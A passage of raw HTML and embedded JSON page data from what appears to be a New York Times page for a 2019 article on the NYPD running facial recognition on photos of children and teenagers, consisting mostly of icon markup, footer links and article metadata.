d="M11.9-40c-0.4,1.1-1.2,1.9-2.3,2.4V-40l1.3-1.2l-1.3-1.2V-44c1.2-0.1,2-1,2-2c0-1.4-1.3-1.9-2.1-1.9c-0.2,0-0.3,0-0.6,0.1v0.1c0.1,0,0.2,0,0.3,0c0.5,0,0.9,0.2,0.9,0.7c0,0.4-0.3,0.7-0.8,0.7c-1.3,0-2.8-1.1-4.5-1.1c-1.5,0-2.5,1.1-2.5,2.2c0,1.1,0.6,1.5,1.3,1.7l0-0.1c-0.2-0.1-0.4-0.4-0.4-0.7c0-0.5,0.5-0.9,1-0.9C5.7-45.1,8-44,9.4-44h0.1v1.7l-1.3,1.1L9.5-40v2.4c-0.5,0.2-1.1,0.3-1.7,0.3c-2.2,0-3.6-1.3-3.6-3.5c0-0.5,0.1-1,0.2-1.5l1.1-0.5v4.9l2.2-1v-5l-3.3,1.5c0.3-1,1-1.7,1.8-2l0,0c-2.2,0.5-4.3,2.1-4.3,4.6c0,2.9,2.4,4.8,5.2,4.8C10.2-35.1,11.9-37.1,11.9-40L11.9-40z"></path><path d="M12.2-23.7c-0.2,0-0.4,0.2-0.4,0.4v0.4L0.4-19.1v2.3l3,1l-0.2,0.6c-0.3,0.8,0.1,1.8,0.9,2.1l1.7,0.7c0.2,0.1,0.4,0.1,0.6,0.1c0.6,0,1.3-0.4,1.5-1l0.4-0.9l3.5,1.2v0.4c0,0.2,0.2,0.4,0.4,0.4c0.2,0,0.4-0.2,0.4-0.4v-10.7C12.6-23.5,12.4-23.7,12.2-23.7M7.1-13.6c-0.2,0.4-0.6,0.6-1,0.4l-1.7-0.7c-0.4-0.2-0.6-0.6-0.4-1l0.3-0.7l3.3,1.1L7.1-13.6z"></path><path d="M13.1-60.3H3.5v-10.5h9.6V-60.3zM13.1-71.6H3.5c-0.5,0-0.9,0.4-0.9,0.9v2.2H0.9c-0.5,0-0.9,0.4-0.9,0.9v5.2v1.5c0,0.8,0.8,1.5,1.8,1.5h1.7h0h7.4h2.2c0.5,0,0.9-0.4,0.9-0.9v-10.5C14-71.2,13.6-71.6,13.1-71.6"></path><polygon points="10.9,-69 5.2,-69 5.2,-68.1 11.4,-68.1 11.4,-69"></polygon><rect x="5.2" y="-67.3" width="6.1" height="0.9"></rect><rect x="5.2" y="-65.5" width="6.1" height="0.9"></rect><path d="M12,6.5H6.5V12H1V6.5h5.5V1H12V6.5zM12,0H1C0.4,0,0,0.5,0,1v11c0,0.6,0.4,1,1,1h11c0.5,0,1-0.4,1-1V1C13,0.5,12.5,0,12,0"></path></svg>Crossword</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/subscriptions/Multiproduct/lp8R3WU.html" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 13 13" fill="#000"><path d="M12,2.9L9.6,5.2c-0.1,0.1-0.3,0.1-0.4,0C9.1,5.2,9.1,5,9.3,4.9l2.4-2.4c-0.2-0.2-0.3-0.3-0.5-0.5L8.7,4.3c-0.1,0.1-0.3,0.1-0.4,0C8.2,4.3,8.2,4.1,8.4,4l2.4-2.4c-0.3-0.3-0.5-0.5-0.5-0.5L7.6,3.4C7.1,4,6.8,5.1,7.1,5.8c-1.4,1-4.6,3.5-5.1,4c-0.8,0.8-0.4,1.8-0.3,1.9c0,0,0,0,0,0c0,0,0,0,0,0c0.1,0.1,1.1,0.5,1.9-0.3c0.4-0.4,2.9-3.6,3.9-5C8.4,6.9,9.6,6.6,10.2,6l2.3-2.6C12.5,3.4,12.3,3.2,12,2.9z"></path><path d="M0.8,1.9l0.3-0.3c0.9-0.9,3.2,1.1,3.8,1.7s0.9,1.8,0.4,2.6c1.4,1.1,4.6,3.5,5,3.9c0.8,0.8,0.4,1.8,0.3,1.9c0,0,0,0,0,0c0,0,0,0,0,0c-0.1,0.1-1.1,0.5-1.9-0.3c-0.4-0.4-2.9-3.7-4-5.1C3.9,6.7,2.9,6.4,2.3,5.8S-0.2,2.9,0.8,1.9z"></path></svg>Cooking</a></li></ul><ul class="css-1iruc8t" data-testid="site-index-corporate-links"><li><a class="css-1vhk1ks" href="https://www.nytimes.com/marketing/newsletters">email newsletters</a></li><li><a class="css-1vhk1ks" href="https://www.nytimes.com/corporateleftnav">corporate subscriptions</a></li><li><a class="css-1vhk1ks" href="https://www.nytimes.com/educationleftnav">education rate</a></li></ul><ul class="css-6td9kr" data-testid="site-index-alternate-links"><li><a class="css-1vhk1ks" href="https://www.nytimes.com/services/mobile/index.html">mobile applications</a></li><li><a class="css-1vhk1ks" href="http://eedition.nytimes.com/cgi-bin/signup.cgi?cc=37FYY">replica edition</a></li></ul></div></div></div></div></nav><footer role="contentinfo" class="css-1qmnftd e5u916q0"><nav data-testid="footer" class="css-15uy5yv"><h2 class="css-vz7hjd">Site Information Navigation</h2><ul class="css-1ho5u4o e5u916q1"><li data-testid="copyright"><a class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/copyright/copyright-notice.html">© <span itemProp="copyrightYear">2019</span><span itemProp="publisher copyrightHolder provider sourceOrganization" itemscope="" itemType="http://schema.org/NewsMediaOrganization" itemID="https://www.nytimes.com"> <meta itemProp="diversityPolicy" content="https://www.nytco.com/diversity-and-inclusion-at-the-new-york-times/"/><meta itemProp="ethicsPolicy" content="https://www.nytco.com/who-we-are/culture/standards-and-ethics/"/><meta itemProp="foundingDate" content="1851-09-18"/><span itemProp="logo" itemscope="" itemType="https://schema.org/ImageObject"><meta itemProp="url" content="https://static01.nyt.com/images/misc/NYT_logo_rss_250x40.png"/></span><meta itemProp="url" content="https://www.nytimes.com/"/><meta itemProp="masthead" content="https://www.nytimes.com/interactive/2018/09/28/admin/the-new-york-times-masthead.html"/><meta itemProp="name" content="The New York Times"/><span>The New York Times Company</span></span></a></li></ul><ul class="css-13o0c9t e5u916q2"><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://myaccount.nytimes.com/membercenter/feedback.html">Contact Us</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://www.nytco.com/careers">Work with us</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://nytmediakit.com/">Advertise</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://www.tbrandstudio.com/">T Brand Studio</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/privacy/policy/privacy-policy.html#pp">Your Ad Choices</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/privacy">Privacy</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/ref/membercenter/help/agree.html">Terms of Service</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/sale/terms-of-sale.html">Terms of Sale</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://spiderbites.nytimes.com">Site Map</a></li><li class="smartphone css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://mobile.nytimes.com/help">Help</a></li><li class="desktop css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/membercenter/sitehelp.html">Help</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/subscription/multiproduct/lp8HYKU?campaignId=37WXW">Subscriptions</a></li></ul></nav></footer></div></div></div></div>
+ <script>window.__preloadedData = {"initialState":{"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==":{"__typename":"Article","id":"QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==","compatibility":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.compatibility","typename":"CompatibilityFeatures"},"archiveProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.archiveProperties","typename":"ArticleArchiveProperties"},"collections@filterEmpty":[{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","typename":"LegacyCollection"}],"tone":"NEWS","section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==","typename":"Section"},"subsection":null,"sprinkledBody":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody","typename":"DocumentBlock"},"url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html","adTargetingParams({\"clientAdParams\":{\"edn\":\"us\",\"plat\":\"web\",\"prop\":\"nyt\"}})":[{"type":"id","generated":false,"id":"AdTargetingParam:als_test1565027040168","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:propnyt","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:platweb","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ednus","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:brandsensitivefalse","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:per","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:orgpolicedepartmentnyc","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:geonewyorkcity","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:desjuveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:spon","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:authaliwatkins,josephgoldstein","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:col","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:collnewyork,usnews,technology,techandsociety","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:artlenmedium","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ledemedsznone","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:gui","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:templatearticle","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:typart,oak","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:sectionnyregion","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:si_sectionnyregion","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:id100000006583622","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:trend","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ptnt10,nt15,nt16,nt18,nt3,nt4,nt9","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:gscatneg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education","typename":"AdTargetingParam"}],"sourceId":"100000006583622","type":"article","wordCount":1357,"bylines":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0","typename":"Byline"}],"displayProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.displayProperties","typename":"CreativeWorkDisplayProperties"},"typeOfMaterials":{"type":"json","json":["News"]},"collections":[{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","typename":"LegacyCollection"}],"timesTags@filterEmpty":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.0","typename":"Organization"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.1","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.2","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.3","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.4","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.5","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.6","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.7","typename":"Location"}],"language":null,"desk":"Metro","kicker":"","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.headline","typename":"CreativeWorkHeadline"},"commentStatus":"ACCEPT_AND_DISPLAY_COMMENTS","firstPublished":"2019-08-01T17:15:31.000Z","lastModified":"2019-08-02T17:26:37.071Z","originalDesk":"Metro","source":{"type":"id","generated":false,"id":"Organization:T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=","typename":"Organization"},"printInformation":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.printInformation","typename":"PrintInformation"},"sprinkled":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled","typename":"SprinkledContent"},"followChannels":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.0","typename":"ChannelMetadata"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.1","typename":"ChannelMetadata"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.2","typename":"ChannelMetadata"}],"dfpTaxonomyException":null,"advertisingProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.advertisingProperties","typename":"CreativeWorkAdvertisingProperties"},"translations":[],"summary":"With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.","lastMajorModification":"2019-08-02T09:30:23.000Z","uri":"nyt:\u002F\u002Farticle\u002F9da58246-2495-505f-9abd-b5fda8e67b56","eventId":"pubp:\u002F\u002Fevent\u002F47a657bafa8a476bb36832f90ee5ac6e","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia","typename":"Image"},"newsStatus":"DEFAULT","episodeProperties":null,"column":null,"reviewItems":[],"shortUrl":"https:\u002F\u002Fnyti.ms\u002F2GEzuZ8","promotionalHeadline":"She Was Arrested at 14. Her Photo Went to a Facial Recognition Database.","promotionalSummary":"With little oversight, the police have been using the powerful surveillance technology on photos of children and teenagers.","reviewSummary":"","legacy":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.legacy","typename":"ArticleLegacyData"},"addendums":[],"related@filterEmpty":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.compatibility":{"isOak":true,"__typename":"CompatibilityFeatures","hasVideo":false,"hasOakConversionError":false,"isArtReview":false,"isBookReview":false,"isDiningReview":false,"isMovieReview":false,"isTheaterReview":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.archiveProperties":{"timesMachineUrl":"","lede@stripHtml":"","thumbnails":[],"__typename":"ArticleArchiveProperties"},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","slug":"nyregion","__typename":"LegacyCollection","name":"New York","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F19f66998-f562-5ec6-b3f9-298f1c76dd84","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","slug":"us","__typename":"LegacyCollection","name":"U.S. News","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F11f72ab4-7cd0-540a-93cc-f35b32cd013d","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","slug":"technology","__typename":"LegacyCollection","name":"Technology","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F58ece0d0-3c35-5fa9-b535-94997a7c8c0f","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","slug":"experience-tech-and-society","__typename":"LegacyCollection","name":"Tech and Society","collectionType":"SPOTLIGHT","uri":"nyt:\u002F\u002Flegacycollection\u002F9088cfe6-85e3-52fb-993e-6289702a11ff","type":"legacycollection","header":"","showCollectionStories":false},"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==":{"id":"U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==","name":"nyregion","displayName":"New York","url":"\u002Fsection\u002Fnyregion","uri":"nyt:\u002F\u002Fsection\u002F39480374-66d3-5603-9ce1-58cfa12988e2","__typename":"Section"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0":{"__typename":"HeaderBasicBlock","label":null,"headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline","typename":"Heading1Block"},"summary":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary","typename":"SummaryBlock"},"ledeMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.ledeMedia","typename":"ImageBlock"},"byline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline","typename":"BylineBlock"},"timestampBlock":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.timestampBlock","typename":"TimestampBlock"}},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.3":{"__typename":"Dropzone","index":0,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1